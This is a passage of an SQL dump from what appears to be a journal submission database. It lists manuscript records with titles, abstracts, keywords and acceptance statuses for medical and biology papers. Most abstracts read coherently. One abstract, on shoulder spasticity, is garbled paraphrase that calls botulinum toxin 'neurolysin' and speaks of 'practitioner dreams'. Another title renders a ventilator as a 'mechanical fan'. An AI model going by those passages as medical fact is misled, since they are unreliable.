carcinoma from a breast primary is an infrequent phenomenon.  Given the rarity of this presentation, there is a general lack of consensus on management guidelines.  \r\nHerein we report a case of a 65 year old female presented with dysphagia, 14years post surgery for breast cancer. She was diagnosed with esophageal metastases and was treated with a combination of systemic Chemotherapy, hormonal therapy and local radiotherapy. Our patient tolerated the treatment well and achieved a significant symptomatic improvement post Radiotherapy.We also performed a review of literature on esophageal metastases from breast primary, aiming to improve the diagnostic accuracy and treatment efficacy in this rare presentation. \r\nWe conclude that patients who present with persistent dysphagia post breast cancer treatment, should undergo Endoscopic ultrasound (EUS) guided fine needle biopsy (FNB) to rule out esophageal metastasis. We suggest systemic Chemotherapy with Hormonal therapy, and radiotherapy for local control as the management of choice in this condition. Even though prognosis is difficult to predict in these patients, this combined modality of treatment seems to achieve a better overall survival.\r\n',' Breast tumor; Radiotherapy; Esophagus metastases; Intraluminal brachytherapy; recurrence ',3284,NULL,'2023-01-21',NULL,'Submitted',2,NULL,'2023-02-03',NULL,1,1,'0','Accepted ',0,'','',NULL,0,0,0,NULL,0),(13438,13619,45,0,'iphsj-23-13438','Antenatal Care Services Utilisation and Prevalence of Anaemia among Pregnant Women in Wa Municipality of the Upper West Region, Ghana',NULL,14,0,'','Background/Objectives: In this paper, we aim to examine the influence of maternal antenatal care services utilisation on the prevalence of anaemia among pregnant women in the Wa Municipality. \r\nMethod: The study employed a retrospective cohort design. Probability proportionate to size sampling was used to select the sub-district health catchment facilities while systematic random sampling was used to select respondents. Data was collected from 353 women based on the status of ANC utilization. \r\nResults: The results suggest that only gestational age at registration was a significant predictor of anaemia among women at ANC registration. Additionally, the woman’s Hb status at ANC registration, information assistance on family planning at ANC, dietary diversity score were predictors of anaemia at 36 weeks gestation. Beside, Tetanus (TT) intake and religion were not only statistically significant in association with anaemia but predictors as well to anaemia at 28 weeks gestation. Specifically, the prevalence of anaemia among pregnant women at ANC registration, week 28 and week 36 of gestation were found to be 43.7%, 53.4% and 51.4% respectively. \r\nConclusion/recommendation: The study suggests that if interventions aimed at reducing the burden of prenatal care are not implemented, the benefits of the ANC associated with early and adequate ANC services may not optimally be achieved. Therefore, strategies to improve the uptake of antenatal care services particularly for disadvantaged women should be targeted at specific components of maternal health.\r\n','Antenatal care, utilisation, Services, prevalence, anaemia, pregnancy',5416,NULL,'2023-01-22',NULL,'Submitted',2,NULL,'2023-02-15',NULL,1,1,'0','Accept',0,'','',NULL,0,0,1,NULL,0),(13439,13620,277,0,'ipadm-23-13439','Necrosis De Cabeza Femoral: Etiología, Clasificación Y Tratamiento: Revisión Bibliográfica',NULL,5,0,'','La Necrosis en Cabeza Femoral (NCF) u osteonecrosis, es un proceso patológico que conduce a la muerte celular del hueso, como resultado de una reducción temporal o pérdida completa de suministro de sangre; Resulta difícil establecer la relación de una verdadera causa de NCF debido a la baja prevalencia de algunas etiologías. El objetivo de esta investigación fue determinar el método diagnóstico adecuado para la NCF mediante la revisión de la literatura. Para la NCF, la primera clasificación diagnóstica utilizada fue descrita por Ficat y Arlet; basada en hallazgos radiográficos en los planos anteroposterior y axial constaba de 4 estadios (I, II, III, IV), siendo fácil y simple, sin embargo, existen controversias debido a que la resonancia magnética (RM) no se encuentra incorporada. Existe otra clasificación de Steinberg basada en la anterior; presenta 7 estadios, utilizando los 2 planos radiográficos, gammagrafía ósea e imágenes de RM para estadificación de la enfermedad. Posteriormente, se describió la clasificación ARCO, esta une los modelos ficat y arlet con steinberg, incorporando radiografías, tomografía computarizada, RM y gammagrafía para localizar el tamaño y ubicación del área necrótica, adaptando a este método la clasificación de Sugano, basada en RMN, útil para prevenir el colapso de la cabeza femoral cuando aún no aparecen lesiones en el examen radiográfico simple. Esta investigación concluyó que el método diagnóstico adecuado para la NCF, corresponde a la clasificación ARCO debido a la incorporación de diversas imágenes diagnósticas permitiendo adoptar el mejor tratamiento según la estadía de la patología. El tratamiento de la NCF puede ser conservador con fármacos o mediante el manejo quirúrgico dependiendo del estadio de afectación; la osteotomía siendo su objetivo remover el tejido necrótico de las áreas de soporte de peso o la artroplastia de cadera siendo procedimiento de elección cuando se tratan lesiones colapsadas de gran tamaño.','Fémur; Necrosis\r\nosteonecrosis',2805,NULL,'2023-01-23',NULL,'Submitted',2,NULL,'2023-02-15',NULL,1,1,'1','Proceed to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13440,13621,277,0,'ipadm-23-13440','Como programar el ventilador mecanico How to program the mechanical fan',NULL,5,0,'',' ',' ',2805,NULL,'2023-01-23',NULL,'Submitted',2,NULL,'2023-02-15',NULL,1,1,'1','Proceed to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13441,13622,277,0,'ipadm-23-13441','Cicatrización de heridas en la Diabetes Mellitus. Wound healing in Diabetes Mellitus.',NULL,5,0,'','A large percentage of the population suffers from abnormal wound healing, particularly those with diabetes mellitus. Wound healing in diabetes mellitus is an uncontrolled dynamic process as a consequence of high blood glucose levels. The objectives of the work were to briefly describe the physiopathological mechanisms involved in wound healing in diabetes mellitus. For this, a bibliographic review of original articles was carried out in the PubMed database. This study shows that in the healing of diabetic wounds there is an alteration in the processes of inflammation, angiogenesis and tissue remodeling. In addition, it addresses the hyperglycemic states that influence that influence oxidative stress. It is concluded that hyperglycemic states affect wound healing.','wound healing\r\ndiabetes mellitus\r\noxidative stress',5390,NULL,'2023-01-24',NULL,'Submitted',2,NULL,'2023-02-15',NULL,1,1,'1','Proceed the article to publish.',0,'','',NULL,0,0,0,NULL,0),(13442,11512,639,0,'ipfs-23-13442','Community Perceptions on Sustainable Beel Fisheries Management: Bangladesh Perspective',NULL,14,0,'','The present study was undertaken on Chapai Beel in Faridpur Sadar Upazila, Bangladesh, to determine the fish biodiversity and scratch out the problem related to fisheries biodiversity and will also make a significant contribution to the development of an appropriate beel management policy to conserve the fisheries biodiversity through sustainable management. A field investigation was conducted on the current status of Chapai Beel fisheries for one year, from January to December 2020. The Chapai Beel is semi-closed and has an arc-shaped water body of 84.86 ha spreading over the seven villages with covering the two unions and two Upazilas of Faridpur district. A total of 47 species (including six exotic species) were identified during the study. Of the 47 species, 41 were indigenous species belonging to 17 fish families, 12 different common groups, and 32 fish genera; 25 were SIS, and the remaining 16 were large fish. Cyprinidae constitutes the highest fish population representing 15 species, and shares the highest percentage (37%) among the recorded family. Barbs & Minnows were the most influential group (22%) among the recorded 12 common groups. According to the IUCN Conservation Status (BD)- 2015 in Chapai Beel, the highest percentage was recorded as Least Concern (66%) followed by Near Threatened (19%), Vulnerable (10%), and Endangered (5%). Moreover, From the ChapaiBeel6, fish species were recorded as threatened, which is 9% of the total threatened fishes of Bangladesh. Among 41 species, 36.58% of fish species were ranked as abundant, followed by moderate (24.40%), low (19.51%), and rare (19.51%). Therefore, the current study provides a scientific foundation for fish biodiversity status, which will aid policymakers in determining beel management priorities in Bangladesh. Furthermore, the study reveals that careful planning, management, regulatory standards, and active community engagement can all help to improve biodiversity.','Beel fishery, Fish biodiversity, Conservation, Sustainable management, Chapai beel',1774,NULL,'2023-01-24',NULL,'Submitted',2,NULL,'2023-02-20',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13444,13623,996,0,'ipar-23-13444','Neurolysin Operating Pressure Implants are used to Heal Torso Surgery Repair',NULL,25,0,'','Upper extremity spasticity can cause extreme pain combined with multiple headaches that can interfere with the patient\'s daily sports activities. may lead to a reduction in obesity and improvement in contractures, which may result in similar limitations in daily exercise. Our aim was to examine the exercise style of Canadian physicians using neurolysin type A (BoNT-A) injections to control shoulder spasticity. Fifty Canadian physical therapy and rehabilitation (PM&R) physicians responded to the survey, with an overall expected rate of (36.23%). Respondent demographics come from a variety of states, medical institutions, and affected populations. The maximally injected muscles for shoulder adduction and internal rotation spasticity became the pectoralis major, observed through the latissimus dorsi, pectoralis minor, subscapularis, and teres major. Injection of BoNT-A for complex post-stroke shoulder spasticity is not uncommon, with (81.48%) members reporting that it was used regularly or frequently to treat post-stroke spasticity (PSS). BoNT-A dose showed variability in the injected muscles, in addition to the type of toxin used. Sick, caregiver, and practitioner dreams were used to assist in manual control of the sick. As a result, Canadian physicians treating shoulder spasticity vary in their exercise style based on several factors in the individual affected. Future studies will explore best-in-class treatment styles and algorithm improvements to standardize treatment.','muscle spasticity; spastic hemiplegia',3649,NULL,'2023-01-24',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13445,13624,667,0,'iptb-23-13445','Disease concepts and molecular medicine: the ethical significance of conceptually examining new biomedical technologies',NULL,5,0,'','When anticipating ethical issues associated with biomedical technologies, this article argues that it is helpful to begin with an examination of implied disease concepts. Additionally, it demonstrates that this can be accomplished at an early stage. When a technology is still in its infancy. Molecular medicine is the specific case that is being examined here. A \"cascade model\" of disease processes and a personal pattern\" model of bodily function are combined in this group of new technologies. While the first\'s ethical implications are somewhat reminiscent of earlier, albeit contentious, preventive and predictive medicine methods, the seconds are quite novel and could have far-reaching implications.','Concept of disease, Ethics, Emerging technology, Epistemology, Molecular medicine, personalized medicine, Health technology assessment.',3933,NULL,'2023-01-25',NULL,'Submitted',2,NULL,'2023-01-30',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13446,13625,667,0,'iptb-23-13446','Public health interventions to prevent cardiovascular diseases are based on epidemiology: Translational research\'s function',NULL,5,0,'','The state of CVD prevention public health interventions was looked at to figure out what needs to be done to close the gap between policy and evidence. We evaluated translational research using a two-step framework. The current state of CVD prevention and control at the national level in India was documented through a review of the relevant literature. To comprehend various aspects of translational research, case studies of risk factor surveillance, tobacco control, and blood pressure measurement were used. India has recently seen initiatives at the national level to monitor, prevent, and control non-communicable diseases. The majority of the delays in translating research into policy have occurred at. These could have been the reasons: policymakers and program managers\' inaccurate perception of the issue, a lack of global public health guidelines and tools, and insufficient nationally relevant research on the operationalization and cost of public health interventions are all contributing factors. Institutional mechanisms to improve human resource capacity to initiate and monitor translational research in India must be established by the public health community, both nationally and internationally. A greater public interest necessitates that translation barriers at the community level be overcome. Over a billion Indians will benefit from the extraordinary scientific advancements of this century only if this is the case.','Cardiovascular diseases, public health interventions, translational research',5429,NULL,'2023-01-25',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13447,13626,667,0,'iptb-23-13447','Opportunities and Tensions in Convergence: Emerging Molecular Medicine\'s Emerging Concepts of Disease',NULL,5,0,'','A new wave of biomedical technologies has emerged as a result of the convergence of ICT, nanotechnology, and biomedical sciences, resulting in visions of \"molecular medicine.\" This paper examines how the emerging field of molecular medicine may alter both the definition of \"disease\" and the boundary between health and disease, as new technologies frequently alter concepts of health and disease. It provides a brief synopsis of molecular medicine\'s development and often highly speculative visions. Following that, a brief discussion is given to three common philosophical perspectives on disease: the physiological, normative, and ontological (neo-ontological) concepts of disease. In light of this, two trends in molecular medicine stand out: the use of a disease cascade model and the idea that disease is a deviation from an individual pattern of functioning. It becomes abundantly clear that concepts of health and disease are pushed in diverse, sometimes opposing directions by molecular medicine. However, the tensions that result may also present opportunities to direct the medical profession\'s future in more favourable directions.','Molecular medicine, Nano medicine, Concept of disease, Concept of health, Technology, Reductionism, Personalized medicine',5430,NULL,'2023-01-25',NULL,'Submitted',2,NULL,'2023-01-30',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13448,13627,667,0,'iptb-23-13448','A Novel Information Retrieval Model for Molecular Medicine Modalities with High Throughput',NULL,5,0,'','Access to cutting-edge, high-quality molecular medicine techniques is essential for accelerating the translation of research into clinical applications. A novel semantic indexing and information retrieval model for clinical bioinformatics is then presented, followed by an explanation of why the existing databases and portals do not adequately support this goal. A model of the research processes that create and validate these objects is included in the formalism to support their systematic presentation once retrieved. The formalism provides the means for indexing a variety of relevant objects. By creating proof-of-concept encodings and visual presentations of evidence and modalities relevant to the molecular profiling and prognosis of breast cancer and diffuse large B-cell lymphoma (DLBCL), we assess the model\'s applicability.','information retrieval, molecular medicine, semantic model, clinical bioinformatics, predictive computational models',5430,NULL,'2023-01-25',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13449,13628,971,0,'ipaclr-23-13449','Overall Equipment Effectiveness ',NULL,17,2,'Innovation in Clinical and Laboratory Research','','',3249,NULL,'2023-01-25',NULL,'Submitted',2,NULL,'2023-04-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13451,13630,45,0,'iphsj-23-13451','The Effects of Attention Deficit Hyperactivity Disorder on the Development of a Child Dealing with Grief, Loss, and Major Negative Life Changes',NULL,14,0,'','ABSTRACT \r\nThe paper explores the effect of Attention Deficit Hyperactivity Disorder in children and adolescents who suffer from negative changes in their life due to the loss of a family member or bullying cases. The research to investigate this stance has used qualitative thematic analysis on five case studies that are primarily gathered from a local community. The case studies are of five participants, and each of them was either at home, school or with their family. The research results through a qualitative analysis of interviews have proven that family helps these patients become better-behaved and emotionally stable as they live in a protected environment where all their family members support them. Hence, the researchers have provided qualitative evidence that the familial care environment of ADHD patients, while secluded environments like home and school make the patients feel stressed and uncomfortable.','Attention Deficit Hyperactivity Disorder, child, adolescents, negative life changes, grief, loss, qualitative interviews, thematic analysis, and ecological systems theory.',4076,NULL,'2023-01-27',NULL,'Submitted',2,NULL,'2023-02-15',NULL,1,1,'0','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13452,13631,959,0,'ipacr-23-13452','Challenges in Bladder Carcinoma Treatment and Immunotherapy\'s Future Bladder Cancer: Current Challenges and Future Directions ',NULL,15,0,'','One of the most prevalent urological cancers with a variety of forms is bladder carcinoma. About 90% of transitional cell cancer is caused by it (TCC). Non-muscle invasive bladder carcinoma (NMIBC) and muscle-invasive bladder carcinoma are the two subtypes of TCC according to histopathology (MIBC). NMIBC makes up around 75% of bladder cancer cases with recent diagnoses. These tumours are limited to the bladder\'s mucosal or submucosal area. A sizable portion of NMIBC turns into MIBC, raising the mortality rate. Recurrence rates for bladder cancer range from 50 to 70%, and 15% of these cases have a greater likelihood of developing into MIBC. Nearly a quarter of bladder carcinoma patients have the disease already spread to the bladder muscle wall when they are detected (i.e., MIBCs). The recommended course of therapy for bladder cancer essentially consists of two approaches: if the muscular layers remain unaffected, the bladder is spared and only receives a few resection procedures. While under bad circumstances, bladder removal is necessary.',' ',5428,NULL,'2023-01-28',NULL,'Submitted',2,NULL,'2023-02-08',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13453,13632,959,0,'ipacr-23-13453','Gender-Related Approach to Kidney Cancer ',NULL,15,0,'','Different non-reproductive cancer forms have been linked to sex and gender discrepancies. Males have a greater mortality rate and are two times more likely than females to acquire kidney cancer. Examining genetics and genomes, together with additional risk factors including hypertension and obesity, lifestyle choices, and female sex hormones, can help explain these discrepancies. Understanding the hormonal signalling pathways can help us understand the distinctions between the sexes better. At the diagnostic, histological, and therapeutic levels, there are gender and sex-based discrepancies that can be seen, and these differences can significantly affect the result. The current understanding of disparities in the clinical presentation of kidney cancer patients based on sex and gender is summarised in this review, along with potential scientific explanations for these findings. The advancement of sex-specific prognostic and diagnostic tools as well as individualised therapy may be facilitated by underlying sex-based distinctions.','',5432,NULL,'2023-01-28',NULL,'Submitted',2,NULL,'2023-02-08',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13454,13633,1020,0,'ipmedt-23-13454','Delivery of Anti-Hiv Drugs of Targeting Strategies',NULL,5,0,'','Infection with the human immunodeficiency virus continues to be a leading cause of death worldwide. The current antiretroviral therapy has a number of drawbacks, including toxicity, drug-drug interactions, the development of drug resistance, the need for long-term drug therapy, poor bioavailability, and lack of access to tissues and reservoirs, even though it has significantly decreased AIDS-related morbidity and mortality. Recent anti-HIV therapeutic research has concentrated on developing drug delivery methods that are selectively targeted to host cells that are HIV-infected or at risk of becoming HIV-positive in order to get around these issues. In this context, a number of surface molecules with both viral and host cell cellular origins have been identified in recent years, which might allow for the targeted administration of drugs to HIV-infected individuals. In this review, we give a thorough overview of the need. Identifying novel viral and host-cell molecules for novel drug delivery systems, as well as the accomplishments and difficulties in doing so for targeted drug delivery of anti-HIV medications. Such customised anti-retroviral drug delivery strategies may open the door to the successful management and elimination of HIV in humans.','HIV; Aids; Targeted Drug Delivery; Viral Targets; Host Targets',5042,NULL,'2023-01-28',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13455,13634,1020,0,'ipmedt-23-13455','Single RNA Viruses in Translation and Replication Dynamics',NULL,5,0,'','Among the most common infections and a significant burden on society are RNA viruses. Although RNA viruses have been extensively investigated, due to a lack of sensitive assays, little is known about the processes that take place within the initial few hours after infection. Here, we create the virus infection real-time imaging (VIRIM) single-molecule imaging technique to examine the translation and replication of individual RNA viruses in living cells. Virim revealed substantial coordination between the translation and replication of individual viral RNAs as well as a startling variability in replication kinetics between cells. Additionally, we use VIRIM to pinpoint the host genes that prevent early viral replication and identify the replication stage of the incoming viral RNA as a significant bottleneck of effective infection. Single-molecule photography the study of virus replication and virus-host interactions is a potent technique that can be broadly applied to RNA viruses.','+RNA virus; viral translation; viral replication; virus-host competition; single-molecule imaging; SunTag; VIRIM',5044,NULL,'2023-01-28',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13456,13635,1020,0,'ipmedt-23-13456','Based on DNA Barcode Sequences by the Process Shape Coexistence of Alpine Meadow Species',NULL,5,0,'','Plant community assemblages can be created concurrently by random and deterministic mechanisms. However, it is unknown how they affect the phylogeny and functional structure of herbaceous plants in alpine meadows, which makes it difficult to comprehend how species coexist and how variety is maintained in herbaceous communities. On the northeastern Qinghai-Tibet Plateau of China, we created a permanent research sample plot of 3.76 105 m2 in alpine meadows, looked into the flora, evaluated nine functional variables, examined inter- and intraspecific variation, and displayed phylogenetic signals. The outcomes demonstrate that the habitat filtering along an altitude gradient range from competitive exclusion to the phylogenetic structure based on DNA barcode sequences. With altitude, the interspecific functional structure changed, revealing various plant survival strategies. Contrarily, environmental screening procedures were associated with intraspecific trait variation. Increasing altitude enhances environmental filtration, which benefits species with conservative selection strategies, indicating that they are more influenced by environmental variety. ','Species coexistence; DNA barcode sequence; Inter- and intraspecific functional traits; Phylogeny; Qinghai-Tibetan Plateau',5043,NULL,'2023-01-28',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13457,13636,1020,0,'ipmedt-23-13457','Reconstruction Based On Innovated Hybridization Technique of Probabilistic Cellular Automata and Particle Swarm Optimization by DNA Sequence',NULL,5,0,'','The discipline of computational biology faces a difficult research problem in DNA sequence reconstruction. It is impossible to sum up the evolution of the DNA in a few simple factors. As a result, a modelling strategy is required for examining DNA patterns. In this publication, we suggested a brand-new framework for studying DNA pattern. The suggested framework is divided into two phases. While the other step is used for the reconstruction process, the first stage is used to analyse the evolution of DNA sequences. For the purpose of studying and forecasting the DNA sequence, we used cellular automata rules. The reconstruction technique is then updated, and the Particle Swarm Optimization algorithm and Probabilistic Cellular Automata are added into it. The integrated system increases the suggested framework\'s effectiveness and achieves the best transitional guidelines. The premise of our novel approach is that mutations are probabilistic occurrences. As a result, a PCA model can be used to simulate their progression.','DNA sequence reconstruction; Computational biology; Mutation rates; Probabilistic cellular automata (PCA); Particle swarm optimization (PSO)',5043,NULL,'2023-01-28',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13458,13637,1020,0,'ipmedt-23-13458','Covid-19 Diagnosis Using DNA Sequences of a Hybrid Method Based On Machine Learning To Identify Biomarkers',NULL,5,0,'','Even if some people don\'t have any chronic illnesses or don\'t fall within the Covid-19 risk age range, they are more susceptible to the coronavirus. Some specialists believe that the patient\'s immune system is to blame, while others believe that the patient\'s genetic background may be a factor. To ascertain the connection between Covid-19 and genes, it is crucial to identify corona from DNA signals as early as feasible. As a result, it will be possible to determine how changes in the corona disease-related genes affect the disease\'s severe course. This study proposes a revolutionary intelligent computer method for the first time to distinguish coronavirus from nucleotide signals. The suggested approach offers a multi-layered Singular Value Decomposition, Discrete Wavelet Transform statistical feature extractor, and Entropy-based mapping approach are combined to create a feature extraction framework to extract the most potent features. The ReliefF approach then chooses distinguishing characteristics. The classifiers used are support vector machine and k closest neighbourhood (k-NN). The technique identified Covid-19 from DNA signals with the greatest classification accuracy rate of 98.84% using an SVM classifier. The suggested technique for determining Covid-19 using RNA or other signals is prepared to be tested with a different database.','Covid-19; Big data analysis; Machine learning; Linear algebra; Biomedical signal processing',5043,NULL,'2023-01-28',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13459,13638,959,0,'ipacr-23-13459','Personalized medicine and immunotherapy for ovarian cancer',NULL,19,0,'','The general prognosis for women with advanced ovarian cancer is still dismal, despite advancements in surgery and chemotherapy. Although platinum-based chemotherapy has an initial response rate of roughly 60–80%, the majority of patients will have a recurrence and pass away from the disease. However, a precision medicine approach focused on DNA repair has lately given rise to genuine optimism about increasing survival. Many individuals with BRCA germline-deficient and/or platinum-sensitive epithelial ovarian malignancies have seen life-changing effects as a result of the clinical development of PARP inhibitors. Patients\' prognosis could also be improved by intraperitoneal chemotherapeutic methods and antiangiogenic medications. Additionally, developing immunotherapeutic possibilities could benefit patient results.','',5428,NULL,'2023-01-28',NULL,'Submitted',2,NULL,'2023-02-08',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13460,13639,667,0,'iptb-23-13460','Recent Research on Tumor Markers',NULL,5,0,'','Tumor markers are factors released from tumor cells into blood which indicate the presence of tumor in\\r\\nthe body. Tumor markers are burgeoning concept in the healthcare industry. They give valuable\\r\\ninformation about the screening, diagnoses, and prognosis; quantify tumor load, monitoring,\\r\\nsurveillance, and progression of cancer in all stages, about planning treatment and monitoring\\r\\nrecurrence.\\r\\nTumor marker assay are not been foolproof in that their levels may fluctuate with time, may not rise\\r\\nconsistently in all cancers, may be present in considerable amount in non cancer patients;\\r\\nstandardization of assays for such markers has not been done.\\r\\nThe natural host defense mechanism consisting of T cells, lymphocytes, macrophages, NK cells,\\r\\nantibodies, complement, some proteins like PD-1 act to destroy the naturally producing tumor cells.\\r\\nSome genes are involved in apoptosis or programmed cell death. It is the normal process of cellular\\r\\nageing and cell death inside the body such that in any organ the new cells regularly formed are replaced\\r\\nwith the dying old cells. The genes are P 53, Rb, c fos. They are onco suppressor genes. The genes\\r\\nmediating cancer prevent apoptosis such as the bcl2 gene. They are oncogenes.\\r\\nMethod-The ease of detection of tumor markers by assay is the main advantage and idea behind its\\r\\npotential for use. Techniques like ELISA and chemiluminescence immunoassay require only a routine\\r\\nblood sample collected in the red or gold sample collection tube also called clot activator vial or serum\\r\\nseparator tube respectively, allowed to clot and the tube centrifuged to separate the serum and cells,\\r\\nand the serum is analyzed using immunoassay auto analyzer like Beckman coulter Access 2 machine. It is\\r\\nconvenient, time saving, cost effective, and large number of patient samples can be processed in a short\\r\\ntime. Lately a surrogate marker for tissue biopsy, called the liquid biopsy has come in vogue where the\\r\\nplasma is analyzed for circulating tumor cells or circulating tumor DNA. The implications of tumor\\r\\nmarker research will gain momentum with advancement of molecular diagnoses. 1000 patient samples\\r\\nwere analyzed over 6 months duration for AFP, β HCG, CEA, CA19.9, CA 125,PSA,TSH, ferritin, iPTH,\\r\\nprocalcitonin were assayed and clinically correlated.\\r\\n\\r\\nResults- Tumor markers give an insight of the underlying pathology in the patient. They provide useful\\r\\nevidence to understand and treat the patient along prescribed lines. The interpretation of such results\\r\\nhas to be based on thorough clinical assessment and symptoms along with other tests.','Tumor index substances, immunoassay, liquid biopsy, single nucleotide polymorphism',3512,NULL,'2023-01-28',NULL,'Submitted',2,NULL,'2023-04-15',NULL,1,1,'0',NULL,0,'','',NULL,0,0,1,NULL,0),(13461,13640,959,0,'ipacr-23-13461','Pediatric Population Thyroid Cancer',NULL,25,0,'','Children with thyroid cancer frequently appear with advanced illness, which may be explained by the fact that the thyroid gland in children is more vulnerable to radiation and carcinogenesis. Children with thyroid cancer had higher rates of distant metastases and lymph node metastases at the time of diagnosis than adults do, as well as recurrence. Despite these traits, thyroid carcinoma in children often has a favourable prognosis. Compared to adults, children and adolescents have a lower incidence of thyroid cancer, with 4-5 incidences per 100,000 people annually. Teenage girls are thought to be the group in which thyroid cancer is most often detected in paediatrics, where it is thought to be the second most prevalent malignancy. Childhood thyroid malignancies have greater risks of metastasis and recurrence than do adult thyroid cancers. Thyroid cancer is relatively curable for the majority of children and adolescents, though, and the prognosis for kids with thyroid cancer is typically quite good. The aim of treatment is to eradicate cancer while causing as few side effects as possible.','',5428,NULL,'2023-01-28',NULL,'Submitted',2,NULL,'2023-02-08',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13462,13641,971,0,'ipaclr-23-13462','Contribution of C-reactive protein in the detection of sepsis in newborns at the University Hospital Center Mohammed VI Marrakech',NULL,14,0,'','Introduction : Neonatal sepsis is an invasive infection, usually bacterial, occurring during the neonatal period. It  is responsible for 13% of neonatal mortality. The gold standard in the diagnosis of neonatal sepsis is the isolation of the causative organisms in blood cultures. However, this method requires an incubation and completion time that can take several days. The objective of our study is to evaluate the effectiveness and contribution of the C-reactive protein dosage, widely used in our context, in the early detection of neonatal sepsis and the diagnostic orientation.\r\nMaterials and methods: Retrospective study, conducted at the clinical biochemistry laboratory of the Mohamed VI University Hospital Center of Marrakech, in collaboration with the microbiology laboratory, in newborns admitted to the neonatology department for management of confirmed or suspected neonatal infection, during a period extending from January 2020 to December 2020.\r\nResults: Of a total of 300 blood cultures was performed. The sex ratio M/F : 1,38. Average age was 11.24 days. There were 148 positive cultures among which there were 120 positive CRP, that is 81%. And 152 sterile cultures with 50 positive CRP. The mean CRP value in the positive cultures was 62.67 mg/L. It was 15.53 mg/l in sterile cultures.\r\nDiscussion: In this study, there was a male predominance, with a sex ratio of 1.38, and a mean age of 11.24 days. This result is consistent with the local (23)(24), national (25), and international (26)(27)(28) literature.\r\nRegarding sensitivity, this study agrees with the literature, with variations of +/- 10%. And it is higher than the specificity in this study, as well as in the literature.\r\nThe specificity is 67% in this study, it is an average compared to the different values calculated in the literature (26)(29)(27)(28)(4), but it is consistent with the meta-analyses (30)(31).\r\nThe positive and negative predictive values are comparable to the data in the literature.\r\nConclusion: Although there are currently more specific and sensitive early markers of inflammation, the C-reactive protein determination, widely used in our context, provides sufficient sensitivity and specificity in the diagnostic orientation of neonatal sepsis\r\n','Neonatal sepsis\r\nC reactive protein\r\n',3236,NULL,'2023-01-29',NULL,'Submitted',4,NULL,'2023-05-22',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13463,9338,91,0,'ijddr-23-13463','The trans-differentiation of Keratinocyte: Requisite for skin wound healing and cosmetic surgery ',NULL,5,0,'','OBJECTIVE: Skin wound healing involves the interaction of epidermal and dermal cells, growth factors, and cytokines. Keratinocyte is the most dominant cell type in the epidermis and plays multiple roles for skin repair function. Cultured human primary keratinocytes are required for the treatment of burns, cutaneous wounds diabetic foot ulcers, and cosmetic therapy.\r\nMETHODS: Human primary keratinocytes from different age groups were isolated, characterized and efficacy was analyzed. Primary human keratinocytes were purchased from commercially available sources and their trans-differentiation properties were studied.\r\nRESULTS: Serum-free media with high calcium was used to isolate keratinocytes from different donors with varied age groups.  The number of keratinocytes isolated from the total population of cells varied depending upon the age. Periodical photographs were being taken for analysis. Quantitative analysis of percentage expression of CK5 and CK10 has been done in keratinocytes and fibronectin and collagen staining has been done in transdifferentiated fibroblast.\r\nCONCLUSION: Isolation of primary keratinocytes brings the hope that healthy cultured keratinocytes are useful for the wound microenvironment. Trans-differentiation of keratinocytes to fibroblast provides a new angle for understanding the interaction between keratinocytes and fibroblast in cosmetic surgery and wound healing.','Skin wound healing; Trans-differentiation; Cultured keratinocytes; Primary human keratinocytes; Dermal fibroblast',5255,NULL,'2023-01-30',NULL,'Submitted',2,NULL,'2023-02-06',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13464,13642,85,0,'iphspr-23-13464','An Event to Promote the Community Midwifery Policies in the United States during Covid-19 Pandemic',NULL,5,0,'','Global health care systems are under unprecedented strain as a result of the COVID-19 epidemic. This stress has changed how prenatal, labour, delivery, and postpartum care are provided in the United States, leading many expectant women to seek community midwives\' care for their maternal health in a home or independent birth centre setting. Community midwives work on the outside of the U.S. healthcare system while being the leading maternal health care providers globally, largely because of governmental limitations. This commentary builds on earlier research to hypothesise that the COVID-19-related disruption of the health care system and the increased visibility of community midwives may lead to the emergence of a \"focusing event\" or window in which policy can be changed, allowing community midwives and their supporters to influence it.','COVID-19; Pandemic; Midwives; Birth; focusing event',3282,NULL,'2023-01-31',NULL,'Submitted',2,NULL,'2023-02-08',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13465,13643,85,0,'iphspr-23-13465','A Qualitative Study in Danish Online Forum: Psychedelic Discourses',NULL,5,0,'','The user viewpoints on norms, attitudes, and behaviours surrounding psychedelic substances as they are expressed in a Danish online forum are the topic of this study. In order to take into account the dialectical interaction between individual and shared knowledge regarding the use and meaning of psychedelics, the study combines an interest in online drug research with a focus on discourse analysis. A socio-cognitive approach to the study of discourse was used as inspiration for the theme coding and analysis of 1,865 postings from 154 threads of online conversation. A small number of dominating discourses emerged after all topics were divided into 54 categories and further studied to trace recurrent patterns in the formation of meaning. There were found to be five main the recreational, the therapeutic, the spiritual, and the scientific. and the discussion of performance. When 